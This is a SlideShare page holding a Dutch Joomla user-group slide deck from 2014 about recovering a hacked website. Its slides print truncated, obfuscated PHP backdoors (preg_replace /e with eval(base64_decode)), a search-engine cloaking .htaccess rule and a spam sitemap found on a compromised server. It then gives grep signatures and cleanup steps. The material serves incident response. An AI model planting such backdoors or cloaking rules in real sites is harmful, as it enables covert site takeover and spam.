Joshua Copeland
 
Here is a Backlinks Of Softpcfree.com.pdf
Google
 
Diagnosing WordPress: What to do when things go wrong
WordCamp Sydney
 
Smashing the stats for fun (and profit)
Security B-Sides
 
Github integration-kostyasha
Kanstantsin Shautsou
 
Twas the night before Malware...
DoktorMandrake
 
Malcon2017
Andriy Brukhovetskyy
 
Clearance: Simple, complete Ruby web app authentication.
Jason Morrison
 
WordPress Security - ওয়ার্ডপ্রেসের সিকিউরিটি
Faysal Shahi
 
Integrity protection for third-party JavaScript
Francois Marier
 
Using Nix and Docker as automated deployment solutions
Sander van der Burg
 
300588828 guia-uam-cbs
Martha Edith Cruz Tinoco
 
2012 coscup - Build your PHP application on Heroku
ronnywang_tw
 
Application of Radare2 Illustrated by Shylock and Snakso.A Analysis
Positive Hack Days
 
PHP Backdoor: The rise of the vuln
Sandro Zaccarini
 
What's New and Newer in Apache httpd-24
Jim Jagielski
 
Logstash for SEO: come monitorare i Log del Web Server in realtime
Andrea Cardinale
 
yusukebe in Yokohama.pm 090909
Yusuke Wada
 
2015.07.16 Способы диагностики PostgreSQL
dev1ant
 

More from Peter Martin (9)

PDF
linux-commandline-magic-Joomla-World-Conference-2014
Peter Martin
 
PDF
Developing a Joomla 3.x Component using RAD FOF- Part 2: Front-end + demo - J...
Peter Martin
 
PDF
Developing a Joomla 3.x Component using RAD FOF- Part 1: Back-end - Joomladay...
Peter Martin
 
PDF
Troubleshooting Joomla! problems - Joomladay Germany 2014
Peter Martin
 
PDF
How IT works - Joomladay Germany 2014
Peter Martin
 
ODP
Problemen oplossen in Joomla - Joomladagen 2014
Peter Martin
 
ODP
Joomla 3 Component programmeren met RAD - Joomladagen 2014
Peter Martin
 
ODP
JUG Utrecht 2013 - Optimaliseren van Joomla Content Editor (JCE) voor admins
Peter Martin
 
ODP
JUG Utrecht 2013 - Have you tried turning it off and on again? Problemen oplo...
Peter Martin
 
linux-commandline-magic-Joomla-World-Conference-2014
Peter Martin
 
Developing a Joomla 3.x Component using RAD FOF- Part 2: Front-end + demo - J...
Peter Martin
 
Developing a Joomla 3.x Component using RAD FOF- Part 1: Back-end - Joomladay...
Peter Martin
 
Troubleshooting Joomla! problems - Joomladay Germany 2014
Peter Martin
 
How IT works - Joomladay Germany 2014
Peter Martin
 
Problemen oplossen in Joomla - Joomladagen 2014
Peter Martin
 
Joomla 3 Component programmeren met RAD - Joomladagen 2014
Peter Martin
 
JUG Utrecht 2013 - Optimaliseren van Joomla Content Editor (JCE) voor admins
Peter Martin
 
JUG Utrecht 2013 - Have you tried turning it off and on again? Problemen oplo...
Peter Martin
 

Recently uploaded (20)

PPTX
What-is-the-World-Wide-Web -- Introduction
tonifi9488
 
PPTX
Dev Dives: Automate, test, and deploy in one place—with Unified Developer Exp...
AndreeaTom
 
PDF
Economic Impact of Data Centres to the Malaysian Economy
flintglobalapac
 
PDF
How-Cloud-Computing-Impacts-Businesses-in-2025-and-Beyond.pdf
Artjoker Software Development Company
 
PDF
Google I/O Extended 2025 Baku - all ppts
HusseinMalikMammadli
 
PDF
Data_Analytics_vs_Data_Science_vs_BI_by_CA_Suvidha_Chaplot.pdf
CA Suvidha Chaplot
 
PPTX
AI and Robotics for Human Well-being.pptx
JAYMIN SUTHAR
 
PDF
AI Unleashed - Shaping the Future -Starting Today - AIOUG Yatra 2025 - For Co...
Sandesh Rao
 
PDF
The Future of Artificial Intelligence (AI)
Mukul
 
PDF
Automating ArcGIS Content Discovery with FME: A Real World Use Case
Safe Software
 
PDF
Software Development Methodologies in 2025
KodekX
 
PPTX
OA presentation.pptx OA presentation.pptx
pateldhruv002338
 
PDF
Doc9.....................................
SofiaCollazos
 
PDF
REPORT: Heating appliances market in Poland 2024
SPIUG
 
PDF
CIFDAQ's Market Wrap : Bears Back in Control?
CIFDAQ
 
PPTX
Applied-Statistics-Mastering-Data-Driven-Decisions.pptx
parmaryashparmaryash
 
PPTX
New ThousandEyes Product Innovations: Cisco Live June 2025
ThousandEyes
 
PPTX
AI in Daily Life: How Artificial Intelligence Helps Us Every Day
vanshrpatil7
 
PDF
Advances in Ultra High Voltage (UHV) Transmission and Distribution Systems.pdf
Nabajyoti Banik
 
PDF
OFFOFFBOX™ – A New Era for African Film | Startup Presentation
ambaicciwalkerbrian
 
What-is-the-World-Wide-Web -- Introduction
tonifi9488
 
Dev Dives: Automate, test, and deploy in one place—with Unified Developer Exp...
AndreeaTom
 
Economic Impact of Data Centres to the Malaysian Economy
flintglobalapac
 
How-Cloud-Computing-Impacts-Businesses-in-2025-and-Beyond.pdf
Artjoker Software Development Company
 
Google I/O Extended 2025 Baku - all ppts
HusseinMalikMammadli
 
Data_Analytics_vs_Data_Science_vs_BI_by_CA_Suvidha_Chaplot.pdf
CA Suvidha Chaplot
 
AI and Robotics for Human Well-being.pptx
JAYMIN SUTHAR
 
AI Unleashed - Shaping the Future -Starting Today - AIOUG Yatra 2025 - For Co...
Sandesh Rao
 
The Future of Artificial Intelligence (AI)
Mukul
 
Automating ArcGIS Content Discovery with FME: A Real World Use Case
Safe Software
 
Software Development Methodologies in 2025
KodekX
 
OA presentation.pptx OA presentation.pptx
pateldhruv002338
 
Doc9.....................................
SofiaCollazos
 
REPORT: Heating appliances market in Poland 2024
SPIUG
 
CIFDAQ's Market Wrap : Bears Back in Control?
CIFDAQ
 
Applied-Statistics-Mastering-Data-Driven-Decisions.pptx
parmaryashparmaryash
 
New ThousandEyes Product Innovations: Cisco Live June 2025
ThousandEyes
 
AI in Daily Life: How Artificial Intelligence Helps Us Every Day
vanshrpatil7
 
Advances in Ultra High Voltage (UHV) Transmission and Distribution Systems.pdf
Nabajyoti Banik
 
OFFOFFBOX™ – A New Era for African Film | Startup Presentation
ambaicciwalkerbrian
 

Help mijn website is gehackt - Joomla User Group Den Bosch 2014

  • 1. Help mijn site is gehackt... wat nu? door Peter Martin www.db8.nl / @pe7er
  • 2. 1.Waarom hacken? 2.Website gehackt 3.SSH connectie 4.Procedure – Backup – Analyse – Herstel Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 Website gehackt
  • 15. opencoffee website is gehackt Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 Website gehackt 1 Klant Hosting Provider ?!?! Andere sites, zelfde IP ook!?! (laconiek) gewoon index.php terugzetten Hierbij zeg ik mijn hosting op, asap!
  • 17. E-mail bounced paar dagen Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 Website gehackt 2 Klant website Fabrik ?!?! from: @ .br to: @ .br !?! Spam script, tijdstip in access log Front-end upload: Bestandsformaat niet toegestaan!
  • 19. Ik admin toegang op website? Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 Website gehackt 3 Klant SSH op website Backup, (just in case) ?!?! verschil grootte vorige backup? Verdachte php bestanden & viagra sitemap.xml
  • 20. Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 Backdoor 1 /includes/xmlrpc.php - 07 september 2014 23:15:01 <?php # GNU LESSER GENERAL PUBLIC LICENSE # Version 3, 29 June 2007 # # Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/> # Everyone is permitted to copy and distribute verbatim copies # of this license document, but changing it is not allowed. [..] # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/> $auth_pass = "52fd812f55cb3118bb3bfe575b59a02d"; $color = "#df5";preg_replace("/.*/e","x65x76x61x6Cx28x67x7Ax69x6Ex66 x6Cx61x74x65x28x62x61x73x65x36x34x5Fx64x65x63x6Fx64x65x28'7X1re9s2z/D n9VcwmjfZq+PYTtu7s2MnaQ5t2jTpcugp6ePJsmxrkS1PkuNkWf77C4CkREqy43S738N1vbufp7FIEARJkARBAHT 7xRVnNIlui4XO6d7Jx72TC/PN2dmHzjl8dbZf7x2dmd9KJXbHCtPQCbYHzjgKWYtZQWDdFo3Xvj/wHKPMjFNvGkz wx/vTo1d+hL9cq2MF9tC9dgL8/GKNe84N/jqxRl0PEktN5vaLk8AZdEZWZA+L5prJKswdTTy/5xTNv82yWm0J8sw 1FxMfoHXoWD0nKFLuWq1SZc+qz9iRH7F9fzrumVCvc+NGTXYP/9tyx24ndKKi6QSBH3Q8f2CWj84PDwEqyYPUDuW HZrmq5Yysm45z49jTyPXHncgdOQICcumz47kjNyrGaSNr4NqdP6d+5ISdYDpGGJ7bc/Niet in ruGNr96fS4A607PTg+backup van gsa a9cpzk3fVIF18MLGL1OL+dGwjAQzKhlHgTkLPCodOWCzQSCFI4ETTYMzcsMMHT+Zs8sEExBOqWi2OfS3AGiwPL/hofPh+PQMmCJTN2UATKGzc3z87mAvF4ZnEaa4FbPQP/QH7riIhPdcp2hsAJswy3MH45YNzOAE7Y2+18 oktober H4zYyImGfq8 2014 ! Z 18cOo/cEKw5kf9Bpswx1PphGLbidOayJS2dga8a+2mh1OuzA87Nrypk7LbLfN9sYaYoY/UGXb0AlD8p3I9v0rIKp wBd1zTZNDtOKicPUNGlm4brIMGOJxk+lmTaNhB6mh8YMMN0R+4n12YWIOcDP7+WdWHPWeZ9JbUIuKQiOMF9DmyBs oDeXKainkKVZckRWLJswvDNX+/TdbCpKtpOhLRlT0A3BB5Hv+DOYpDAF8FT+8+dA5Pi1Xy+slap8xc8dGiRV8XHB M+DBh3nqhI1PG7g2kFEKr73RGsGBAGk3LAU7LOFVMnZUErsT4TA+ciR9E7nhAs6/Qc0MLlqWOHOtQw5fJRbyFoQ Gehackt op 19 oktober 2014
  • 21. Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 Payload 1 .htaccess - 09 november 11:45:48 RewriteEngine On RewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing|spaumbot) [OR] RewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing) RewriteRule ^([^/]*)/$ /main.php?p=$1 [L] ## # @package Joomla # @copyright Copyright (C) 2005 ­2014 Open Source Matters. All rights reserved. # @license GNU General Public License version 2 or later; see LICENSE.txt ## Toegevoegd Hack via backdoor door 2e hacker
  • 22. Hack via backdoor door 2e hacker, op 9 november 2014 toegevoegd. Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 Payload 2 main.php - 10 juli 2013 11:25:27 <?php Error_Reporting(0); $xTBYAB76GYfo="rRgNb9pINsmlkm88FKyALcceuFM36xyYbdASOBpMe4FEhCapvQV74nL1b0 il/v97b8Y2BkKSSudIwZ55X/O+5/38EUW9Pm96w07Tu3B//vAIMYjTZIpBqKY3/Gkw/vlDq3N /6bS85h9e811y5rqnThu+nMFHr+cmJ5PreNTqeW4c8L/9/PHzB4dnqZK3FZXyK/7vDcyzfgtw xptgKiXUqBplRvx0ETk/4nu9qkoAhzClalrMj8vlchjP43j+NGzNvvPTL7GDm0rNso2aqemwn 6jMKhG2sEzdtDVTXygVk9RMaz+0jFoiaCnEsJiqGgTBbV21DJ0yna4AVEbeMuLYhgSpUKpcRl ESrjDDJFKpSWhJiQCLGbqj1nRyf38fKhVFEimRqqOzMhBYoUn2Jq2kOy9TkaIUpFCNqkmO2H6 oMxrpBrXVqMHosamyLWRpXU1VGfWXVFECYcQlrSkoAgoGi2NcUZR9hspNXER8w1lVZQjLkUC9 pFtUA+HYnqZS1U/UfdUBng5lNcWxNZJsEd6E8NFUvEC3AOvDvm7WmO84o07Xc5xAAoMc6HEoA VCh+[..] +jPuv0ZCSPco4yHZS4goVte05ZaSQG+kdELd9Sz2YzKa3nwIRHiW9qulHKSSXNiggPBGFb0SQ PUZPP4iNUBuLj2JSJG6RItv9Dw==";preg_replace("/.*/e","x65x76x61x6Cx28 x62x61x73x65x36x34x5Fx64x65x63x6Fx64x65x28'ZXZhbChiYXNlNjRfZ GVjb2RlKCJaWFpoYkNoaVlYTmxOalJmWkdWamIyUmxLQ0pLU0doeVRXeEdkbHByYkRSVV[..] preg_replace("/.*/e","eval(base64_decode('
  • 23. Hack via backdoor door 2e hacker, op 9 november 2014 toegevoegd. Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 Payload 3 sitemap.xml - 9 november 2014 11:50:42 <?xml version="1.0" encoding="UTF­8"?> <urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"> <url> <loc>http://www.voorbeeld.nl/viagra­professional­100mg/</ loc> <lastmod>2014­11­09</ lastmod> <changefreq>monthly</changefreq> <priority>1.0</priority> </url> <url> <loc>http://www.voorbeeld.nl/long­term­side­effects­of­cialis/</ loc> <lastmod>2014­11­09</ lastmod> <changefreq>monthly</changefreq> <priority>1.0</priority> </url> <url> <loc>http://www.voorbeeld.nl/price­of­viagra­100mg­tablet/</ loc> <lastmod>2014­11­09</ lastmod> <changefreq>monthly</changefreq> <priority>1.0</priority> </url> </urlset> 590 spam links
  • 24. via backdoor door 2e hacker, op 9 november 2014 toegevoegd. Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 Backdoor 2 /libraries/joomla/session/cache.php 19 augustus 2013 14:45:46 Aangepast! <?php Error_Reporting(0); $x0bp6Rx0vRH="vRhrb9s28K+71VLHDtCsfmRTggC2GUOijFo1LWlA3CY/oAX6F0ZDZWWl k5ols9MmLnZHUrLkR5btw5w4Eo/34r2Z9x8Mz6Oe2SIB9Zhrd5N5unz/4f2HqU+8N8Qzx/ A0rS6xmbgXL6Zm22j9bLRO+ctG48hswsqsPjP2G/xEUrkdkXwOPNI1BxbrDxM+84nTOaNs 5vJYbPJMU/FOSutS2nUIiKhU620j51Vi9UziALPzrm9d9T1r5BDvvNrzf6LsSm2eH5Ceaw WWx2zi+ec5xdUBPXNhe8hYcI4c/MDtAbFm8qh2K92YNyag2kRqHIxZx5XgRqupNJ52CXNc +7UPQE5tDsDpgPZwNecSQ8Bn2nO9e+a5g8RnnumRwLH6JOGj0SjiMefxmo1f1tpg3WgFbR m/NI12w2y2DvlJit7KuQ56Nwm+IPAj/E4Diw2VrF30GbnElPT4phnIHd97M/S3eV9ptlxH g1Mx6tAR8RINlNzwveP4CiE/dojHDuMwjLfjSo3UKgqvnFArhrHh+j5hyZQFgfYTGwSoO1 AhEI0Pj0sivdFA+08EcXyCuAIZdMZ2n7nUNsmF6zM/4f6lb4ILTUYGgQlm5BuM1zESab8C 3wJuAvu2NSCJaVYO64ZpKl9NdAC5neSz60smGVEUzsIoP+0sBPHIdPAakMROrHh+fX2dZn u0mucJwFJtpXWW1AkIoFOCpcYzyW8OKhuUr9if4Dv38D";preg_replace("/.*/e","x 65x76x61x6Cx28x62x61x73x65x36x34x5Fx64x65x63x6Fx64x65 x28'ZXZhbChiYXN preg_replace("/.*/e","eval(base64_decode('
  • 25. via backdoor door 2e hacker, op 9 november 2014 toegevoegd. Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 Backdoor 3 /administrator/fs-login.phtml - 09 november 2014 11:45:48 <?php Error_Reporting(0); $xJdU8NfauOq="5b1rdxrH0igs2Y4kHxzLkmXLlix7EGQmWsuKGcjAwDDR79gfvJftABLYRuzMaIIQxH/ 9VFXf54KQk/0871kve8eC7urq6lt1dVV19cQrW91S1XOceBgnn+rNVvNL89PXL+f93z987Xsf67Xfvw4+ 1Qet8+bvNTe5/Ne/J63AD2yE/rNW/0gpNbfulX2r5LWsMOhAVlR3er3fIz2v7Lgl7zfvLeRadtnVs1pdz 3ZcC8vdDzu1oOJc9wcf+1j8X/8O6/Mrt121TueT0ubOxr2dje3o1drag9I6/Co9e7pzsBY9XCzid//6dw yfCdRjP2u4HQsb5Nm2dzpPngZBw3eTaZxs+mW7il9ebh48Dyz8Fnolz251w2PXxp8/ep2a+xa/bXjtpg+ Ji0uGGiip2m6j1PasVnce3UTxLA7bVT+oufPo52iq172AvOgmxMRVqMZP1/Vqrj0nsJv+rBd/6H2IDwIr 3g3KnVokqMCP+za0+M+Tf/37BLtpL+yEJejEeeTadmCX/KARTQ/WX7zAcioTkksE4ETTnpnV9t6W3Lduq 4xjWLLCtitAIJt+l/ywHVpzldj2GmGr9FM5sFynZJc7CMSzYWzDDvTL/c3DErR+8+jwADojGsw+UktoXB tpFI1qa8465X293GGTCRA4lh1WHd9zuq4zn9CYMqD3tmuV7U4cOiU20iLzMxt5wF4lEnQMOCYcbBznoQb y3kOfvp+UHhxursEsypBAGWJAJqX9w8M3Rzu5gCwLQWmUZKsqTvAiaISdOWtILXTnyQXMrtjzw0Zn2II5 5Nqji3pgt+O2a3WD2rAaONboASzUSmDXxvFF2KmWrdg6rbrDKk+NO16b/Rrp2U65CeMWH3t+2R1Go1E0u rhBzPAHqhwlWfKwIa7VCoIzIGxyBj12rFYYb9T25OwhtHlyzPshU0Bg1VawZDZq6kNu6OAEZL26HWE2rI 34jz/iebv2MZM+hDo1PGpVGESzksbSewVoAMFUL05TkZERz68EIbyBxTiAjJ9/jleCjK+K6FVzQOspmD8 W8NcKcAIYNvg1f/DqQelwc9qbni+o8Ukl7CQLnJ8BsrgIfiKndH3HVYmd8C1jnxPHq7ulNvAoSKb [..] N1BmC06baOOvUABzLnQQOPayaWUZNuVsvz/RKeu0tYqggU6iMX1/8L";preg_replace("/.*/e","x6 5x76x61x6Cx28x62x61x73x65x36x34x5Fx64x65x63x6Fx64x65x28'ZXZhbCh iYXNlNj preg_replace("/.*/e","eval(base64_decode('
  • 26. via backdoor door 2e hacker, op 9 november 2014 toegevoegd. Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 Backdoor 4-9 Toegevoegd op 09 november 2014 11:45:48 /language/comnon.phtml /layouts/fedit.php /libraries/fedit.php /logs/comnon.php /plugins/fs-login.phtml /tmp/Iicense.php bevat: <?php Error_Reporting(0); preg_replace("/.*/e","x65x76x61x6Cx28x62x6 1x73x65x36x34x5Fx64x65x63x6Fx64x65x28
  • 29. Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 Terminal Text Terminal “TTY” TeleTYpewriter
  • 30. Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 Terminal Windows – SSH programma: PuTTY Mac OSX – Ingebouwd: “Terminal” Linux – Ingebouwde Terminal Emulator
  • 31. Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 SSH Secure SHell gebruikt public-key cryptografie (authenticatie & veilige data communicatie) peter@computer:~$ ssh [email protected]
  • 32. Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 SSH peter@computer:~$ ssh [email protected] The authenticity of host 'example.com (93.184.216.119)' can't be established. RSA key fingerprint is 10:51:ab:f5:d7:[..]:17:16:1f:22:33. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added 'example.com,93.184.216.119' (RSA) to the list of known hosts. [email protected]'s password: [email protected] ~ $
  • 35. Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 Backup files Backup van voor de hack? – Hosting partij? – Akeeba backup (offline)? Maak backup van huidige situatie (inclusief hack!) – Akeeba backup – Rsync / MySQL dump
  • 36. gebruikersnaam @ server : folder gebruikersnaam @ server : folder Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 rsync Remote synchronization – rsync van “bron” naar “doel” $ rsync -arv [email protected]:~/joomla-cms/ /var/www/joomla-cms-backup/
  • 37. Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 MySQL Dump MySQL Dump $ mysqldump -u gebruikersnaam -p databasenaam > bestand-met-sql-uitvoer.txt
  • 39. Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 Analyse ● Software versies: – CMS (Joomla versie?) – Versies 3rd party extensies? ● Access Logfiles – Vreemde POST requests?
  • 40. Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 Analyse ● Nieuwe bestanden op server – .php files in /images/ map? ● Bestanden met vreemde code – Base64 decode ● Vergelijk bestanden met originele bestanden – diff
  • 41. Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 Nieuwe bestanden Aangemaakt in de laatste 7 dagen: find . -type f -ctime -7
  • 42. Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 Recent gewijzigd Gewijzigd tussen 7 en 3 dagen geleden: find . -type f -mtime -7 ! -mtime -3
  • 43. Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 grep ● Zoek naar specifieke teksten grep -r "eval" /var/www/joomla-cms | grep "base64_decode" ● Of grep -r "preg_replace" /var/www/joomla-cms | grep "x65x76x61x6Cx28x62x61x73x65x36x34x5 Fx64x65x63x6Fx64x65x28" grep -r "eval" /var/www/joomla-cms | grep "<?php Error_Reporting(0);”
  • 44. Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 NeoPi
  • 45. Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 NeoPi Detectie van verborgen web shell code Benodigd Python 2.6 Installeer via git: $ git clone https://github.com/Neohapsis/NeoPI.git Start script: $ /var/www/NeoPI/neopi.py -Aa /var/www/joomla-cms
  • 46. Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 diff
  • 47. Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 diff Vergelijk bestanden van website met originele bestanden: – Zorg voor map met originele Joomla + extensies ● Oude backup of ● Nieuwe installatie Joomla + extensies – Zorg voor map met gehackte website Gebruik diff software om te vergelijken: – Linux + OSX: Meld – Windows: WinMerge
  • 49. Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 Herstel ● Verwijderen alle hacker scripts – Kijk verder dan “hack” ivm backdoor scripts ● Alle software up-to-date brengen – Joomla – 3rd party extensions
  • 50. Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 Herstel ● Wachtwoorden vervangen – MySQL database wachtwoord – FTP wachtwoord – Wachtwoorden van Joomla gebruikers ● Evt extra controle: – Backup schoon gemaakte website vergelijken met nieuwe Joomla installatie → diff
  • 51. Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 Herstel ● Eigen .xml sitemap aanmelden bij Google ● Spam pagina's sneller uit zoekmachines? "410 Gone error" via .htaccess: RewriteRule S*viagra+S* ­[ G] RewriteRule S*cialis+S* ­[ G] RewriteRule S*pharmacy+S* ­[ G] RewriteRule S*propecia+S* ­[ G] RewriteRule S*drugs+S* ­[ G]
  • 53. 1.Waarom? 2.Website gehackt 3.SSH connectie 4.Procedure – Backup – Analyse – Herstel Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 Conclusie
  • 54. Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 Vragen? Peter Martin e-mail: info at db8.nl website: www.db8.nl twitter: @pe7er Presentatie: http://www.db8.nl
  • 55. Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 Used Photos Titel sheet: Guy Fawkes Mask - Ben Fredericson, 2009 http://commons.wikimedia.org/wiki/File:Guy_Fawkes_Mask.jpg 1. Waarom hacken? Question mark (3534516458) - Marco Bellucci, 2005 http://commons.wikimedia.org/wiki/File:Question_mark_(3534516458).jpg Credit-cards - Lotus Head, 2005 http://commons.wikimedia.org/wiki/File:Credit-cards.jpg Pickpocket girl - Lunch Photography, 2008 http://commons.wikimedia.org/wiki/File:Pickpocket_girl.jpg Graffiti-Sokolov5 - Orange.man, 2008 http://commons.wikimedia.org/wiki/File:Graffiti-Sokolov5.JPG Phishing - Stomchak, 2010 http://commons.wikimedia.org/wiki/File:Phishing.JPG Spam 2 - Bodo Akdeniz, 2005 http://commons.wikimedia.org/wiki/File:Spam_2.jpg Plugboard wires - Daniel Sancho, 2005 http://commons.wikimedia.org/wiki/File:Plugboard_wires.ds.jpg
  • 56. Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 Used Photos WAC telephone operators operate the Victory switchboard during the Potsdam Conference in their headquarters in - U.S. National Archives and Records Administration, 1945 http://commons.wikimedia.org/wiki/File:WAC_telephone_operators_operate_the_Victory_switchboard _during_the_Potsdam_Conference_in_their_headquarters_in..._-_NARA_-_199007.jpg Butterfly Labs Bitcoin miner - arstechnica.com, 2013 http://cdn.arstechnica.net/wp-content/uploads/2013/05/IMG_6048-Version-3.jpg Cirencester, market place - Tony Grist, 2008 http://commons.wikimedia.org/wiki/File:Cirencester,_market_place.jpg 2. Hacked Youve-been-hacked, Hanonen, 2014 http://commons.wikimedia.org/wiki/File:Youve-been-hacked.jpg Piedbiche - Isabelle Grosjean, 2001 http://commons.wikimedia.org/wiki/File:Piedbiche.jpg 3. SSH connectie Switchboard Manual - Peel Conner, Geez-oz, 2012 http://commons.wikimedia.org/wiki/File:Switchboard_Manual_-_Peel_Conner.JPG Bundesarchiv Bild 183-2008-0516-500, Fernschreibmaschine mit Telefonanschluss - Illger, Willi, 1930 http://commons.wikimedia.org/wiki/File:Bundesarchiv_Bild_183-2008-0516-500,_Fernschreibmaschin e_mit_Telefonanschluss.jpg
  • 57. Joomla User GGrroouupp DDeenn BBoosscchh –– 11 ddeecceemmbbeerr 22001144 Used Photos 4. Procedure Motorola M6800 manuals - Michael Holley, 2010 http://commons.wikimedia.org/wiki/File:Motorola_M6800_manuals.jpg Backup IBM 7330 on white background, Crisco 1492, 2013 http://commons.wikimedia.org/wiki/File:IBM_7330_on_white_background.jpg Analyse Postcards and magnifying glass, Anna, 2007 http://commons.wikimedia.org/wiki/File:Postcards_and_magnifying_glass.jpg Magnifying glass on antique table - Stéphane Magnenat, 2008 http://commons.wikimedia.org/wiki/File:Magnifying_glass_on_antique_table.jpg Magnifying glass - Faberge - shakko, 2011 http://commons.wikimedia.org/wiki/File:Magnifying_glass_-_Faberge.jpg Binary Code, Cncplayer, 2013 http://commons.wikimedia.org/wiki/File:Binary_Code.jpg Two different shoes on, Kelly Bailey, 2007 http://commons.wikimedia.org/wiki/File:Two_different_shoes_on.jpg Herstel IBM 650 at Texas A&M open for repair - Cushing Memorial Library and Archives, Texas A&M, 2009 http://commons.wikimedia.org/wiki/File:IBM_650_at_Texas_A%26M_open_for_repair.jpg Conclusie EquinoxeJuniorHighPac-Man - Equinoxe, 2012 http://www.c64-wiki.com/index.php/File:EquinoxeJuniorHighPac-Man.png